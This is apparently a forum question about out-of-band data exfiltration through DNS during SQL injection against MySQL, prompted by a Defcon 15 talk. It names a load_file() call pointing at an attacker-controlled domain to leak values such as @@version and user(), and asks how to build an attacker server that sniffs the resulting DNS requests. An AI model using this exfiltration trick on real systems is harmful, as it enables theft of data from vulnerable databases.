I was looking at Excellent Article from Defcon 15's which was Data retrieval over DNS during SQL Injection Attacks. (https://www.youtube.com/watch?v=iQDw0hK_eFw). In this the speaker demonstrated the Attacks against MSSQL.
I just tried to reproduce the Same issue but with MySQL server, by little lookup i found load_file(\\\\dns.mysite.com\\)
can Hit DNS server exposing whatever attacker concats into load_file()
like @@version , user() etc if the Application is Vulnerable . The question is How could i actually Keep the SNIFF THE DNS Request made to my server , As you look in the video the speaker users a DNS Sniffer to log the Hit request from vulnerable site to his Server.
Do anyone have inputs about How to practically setup a Attacker's web server (mysite.com) by DNS Sniffing or any other techniques which i missed out here?